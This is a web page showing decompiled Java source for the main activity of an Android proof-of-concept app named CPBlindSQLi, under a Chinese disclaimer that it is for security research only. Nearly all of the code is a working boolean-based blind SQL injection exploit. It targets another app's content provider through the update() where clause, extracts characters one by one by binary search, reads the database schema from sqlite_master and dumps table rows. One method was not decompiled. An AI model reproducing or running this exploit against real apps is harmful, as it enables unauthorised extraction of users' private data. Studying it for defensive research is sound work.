正在查看: CPBlindSQLi v1.0 应用的 MainActivity.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: CPBlindSQLi v1.0 应用的 MainActivity.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package poc.chutchut.cpblindsqli;
import android.content.ContentValues;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Bundle;
import android.text.method.ScrollingMovementMethod;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Locale;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MainActivity extends AppCompatActivity {
public static final String ROW_CONCAT_DELIM = "!!";
private static String TAG = "MainActivity";
private String qTbl;
private TextView queryLogTxt;
private EditText sqlTxt;
private Button triggerSqliBtn;
private HashMap<String, String> tblCreateMap = new HashMap<>();
private int dumpLimit = -1;
private class ExecQueryAsync extends AsyncTask<Void, Void, Void> {
private String sql;
private Uri uri;
public ExecQueryAsync(Uri uri, String str) {
this.uri = uri;
this.sql = str;
}
@Override
protected void onPreExecute() {
MainActivity.this.queryLogTxt.setText("");
MainActivity.this.dumpLimit = -1;
MainActivity.this.qTbl = null;
MainActivity.this.triggerSqliBtn.setEnabled(false);
}
@Override
public java.lang.Void doInBackground(java.lang.Void... r8) {
throw new UnsupportedOperationException("Method not decompiled: poc.chutchut.cpblindsqli.MainActivity.ExecQueryAsync.doInBackground(java.lang.Void[]):java.lang.Void");
}
@Override
public void onPostExecute(Void r2) {
MainActivity.this.triggerSqliBtn.setEnabled(true);
MainActivity.this.qTbl = null;
}
}
@Override
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
this.queryLogTxt = (TextView) findViewById(R.id.txtLog);
this.triggerSqliBtn = (Button) findViewById(R.id.btnDumpData);
this.sqlTxt = (EditText) findViewById(R.id.txtSql);
this.queryLogTxt.setMovementMethod(new ScrollingMovementMethod());
this.triggerSqliBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
String trim = MainActivity.this.sqlTxt.getText().toString().trim();
if (!trim.isEmpty()) {
MainActivity.this.new ExecQueryAsync(Uri.parse("content://service-number/service_number"), trim).execute(new Void[0]);
} else {
Toast.makeText(MainActivity.this.getApplicationContext(), "No query entered", 0).show();
}
}
});
}
@Override
protected void onResume() {
super.onResume();
}
public void logFromThread(final String str) {
try {
runOnUiThread(new Runnable() {
@Override
public void run() {
MainActivity.this.queryLogTxt.append(str + "\n");
}
});
Log.i(TAG, str);
} catch (Exception unused) {
Log.e(TAG, "Exception writing log text from thread");
}
}
private String getCreateStatementForTable(Uri uri, String str) {
String[] row = getRow(uri, String.format("SELECT sql FROM sqlite_master WHERE type = 'table' AND tbl_name = '%s'", str), 0);
if (row == null || row.length <= 0) {
return null;
}
return row[0];
}
private ArrayList<String> getCreateCols(String str) {
ArrayList<String> arrayList = new ArrayList<>();
Matcher matcher = Pattern.compile("CREATE\\s+TABLE\\s+[\"']?\\w+[\"']?\\s*\\(((.|\\n)+)\\)", 2).matcher(str.replace("`", ""));
if (matcher.find()) {
for (String str2 : matcher.group(1).split(",")) {
String str3 = str2.trim().split(" ")[0];
if (str3.matches("^[0-9A-Za-z-_]+[0-9a-z-_]+$")) {
arrayList.add(str3);
}
}
}
return arrayList;
}
private ArrayList<String> getTableFields(String str) {
String str2 = this.tblCreateMap.get(str);
if (str2 != null) {
return getCreateCols(str2);
}
return null;
}
public void getRows(Uri uri, String str) {
String str2;
String str3;
QueryParser queryParser = new QueryParser(str);
if (!queryParser.getCols(null).isEmpty() || queryParser.isWildcard()) {
int[] limitOffset = queryParser.getLimitOffset();
String from = queryParser.getFrom();
if (limitOffset != null) {
this.dumpLimit = limitOffset[0];
str = queryParser.removeLimitOffset();
}
if (from != null) {
this.qTbl = from;
}
if (queryParser.isWildcard() && (str2 = this.qTbl) != null) {
if (!this.tblCreateMap.containsKey(str2)) {
logFromThread("Getting CREATE statement for table: " + this.qTbl);
str3 = getCreateStatementForTable(uri, this.qTbl);
if (str3 == null) {
logFromThread("Failed to get CREATE statement");
return;
}
this.tblCreateMap.put(this.qTbl, str3);
} else {
str3 = this.tblCreateMap.get(this.qTbl);
}
StringBuilder sb = new StringBuilder();
ArrayList<String> createCols = getCreateCols(str3);
if (createCols.isEmpty()) {
logFromThread("Failed to get CREATE fields for table: " + this.qTbl);
return;
}
Iterator<String> it = createCols.iterator();
boolean z = true;
while (it.hasNext()) {
String next = it.next();
if (z) {
z = false;
} else {
sb.append(", ");
}
sb.append(next);
}
str = str.replaceFirst("(?i)SELECT\\s+\\*\\s+FROM", "SELECT " + ((Object) sb) + " FROM");
}
int indexOf = str.toLowerCase().indexOf(" from ");
if (indexOf != -1 && str.substring(0, indexOf).contains(",")) {
str = str.substring(0, indexOf).replace(",", " || '!!' || ") + str.substring(indexOf);
}
logFromThread(String.format("Dumping data via blind SQLi for query '%s', Uri: %s", str, uri));
String[] row = getRow(uri, String.format(Locale.getDefault(), "SELECT COUNT(*) FROM (%s)", str), 0);
if (row == null || row.length == 0) {
logFromThread("No rows returned, cannot continue");
return;
}
int parseInt = Integer.parseInt(row[0]);
logFromThread(String.format(Locale.getDefault(), "Query will return %d row(s)", Integer.valueOf(parseInt)));
ArrayList arrayList = new ArrayList();
for (int i = 0; i < parseInt; i++) {
int i2 = this.dumpLimit;
if (i2 != -1 && i >= i2) {
break;
}
String[] row2 = getRow(uri, str, i);
if (row2 != null) {
arrayList.add(row2);
}
}
int i3 = 0;
while (i3 < arrayList.size()) {
int i4 = i3 + 1;
StringBuilder sb2 = new StringBuilder(String.format(Locale.getDefault(), "Row %d: ", Integer.valueOf(i4)));
for (String str4 : (String[]) arrayList.get(i3)) {
sb2.append(str4);
sb2.append(" | ");
}
logFromThread(sb2.toString());
i3 = i4;
}
return;
}
logFromThread("Failed to parse SQL");
}
private String[] getRow(Uri uri, String str, int i) {
int i2;
int i3;
String str2 = str + " LIMIT 1 OFFSET " + i;
StringBuilder sb = new StringBuilder();
int i4 = 0;
int i5 = 0;
while (true) {
char c = getChar(uri, str2, i5);
i2 = 3;
if (c == 0) {
break;
}
logFromThread(String.format(Locale.getDefault(), "Got char for row %d at index %d: %s", Integer.valueOf(i + 1), Integer.valueOf(i5), Character.valueOf(c)));
sb.append(c);
i5++;
}
if (!sb.toString().trim().isEmpty()) {
String sb2 = sb.toString();
return sb2.contains(ROW_CONCAT_DELIM) ? sb2.split(ROW_CONCAT_DELIM, -1) : new String[]{sb2};
}
String str3 = this.qTbl;
if (str3 != null && getTableFields(str3) != null) {
Iterator<String> it = getTableFields(this.qTbl).iterator();
int i6 = 1;
while (it.hasNext()) {
String next = it.next();
if (i6 == 0) {
sb.append(ROW_CONCAT_DELIM);
i3 = i4;
} else {
i6 = i4;
i3 = i6;
}
while (true) {
Locale locale = Locale.getDefault();
Object[] objArr = new Object[i2];
objArr[i4] = next;
objArr[1] = this.qTbl;
objArr[2] = Integer.valueOf(i);
char c2 = getChar(uri, String.format(locale, "SELECT %s FROM %s LIMIT 1 OFFSET %d", objArr), i3);
if (c2 != 0) {
Locale locale2 = Locale.getDefault();
Object[] objArr2 = new Object[2];
objArr2[i4] = Integer.valueOf(i3);
objArr2[1] = Character.valueOf(c2);
logFromThread(String.format(locale2, "Got char at index %d: %s", objArr2));
sb.append(c2);
i3++;
i4 = 0;
i2 = 3;
}
}
i2 = 3;
}
return sb.toString().split(ROW_CONCAT_DELIM, -1);
}
logFromThread("Failed to get chars of row " + (i + 1));
return null;
}
private char getChar(Uri uri, String str, int i) {
ContentValues contentValues = new ContentValues();
contentValues.put("rowid", "123");
int i2 = 0;
int i3 = 127;
boolean z = true;
while (true) {
int i4 = i2 + i3;
if (boolExploitUpdate(uri, contentValues, String.format(Locale.getDefault(), "1=1 AND unicode(substr((%s), %d, 1)) BETWEEN %d AND %d", str, Integer.valueOf(i + 1), Integer.valueOf(i2), Integer.valueOf(i4)))) {
if (i3 == 0) {
return (char) i2;
}
i3 = i3 > 3 ? i3 / 2 : i3 - 1;
} else if (i2 != 0 || (i3 != 127 && i3 != 1114111)) {
i2 = i3 > 0 ? i4 : i2 + 1;
} else {
if (!z) {
return (char) 0;
}
z = false;
i3 = 1114111;
}
}
}
private boolean boolExploitUpdate(Uri uri, ContentValues contentValues, String str) {
try {
return getContentResolver().update(uri, contentValues, str, null) > 0;
} catch (Exception e) {
if (e.getMessage() != null && e.getMessage().contains("UNIQUE constraint failed")) {
return true;
}
Log.e(TAG, "Exception performing exploit query: " + e.getMessage());
return false;
}
}
}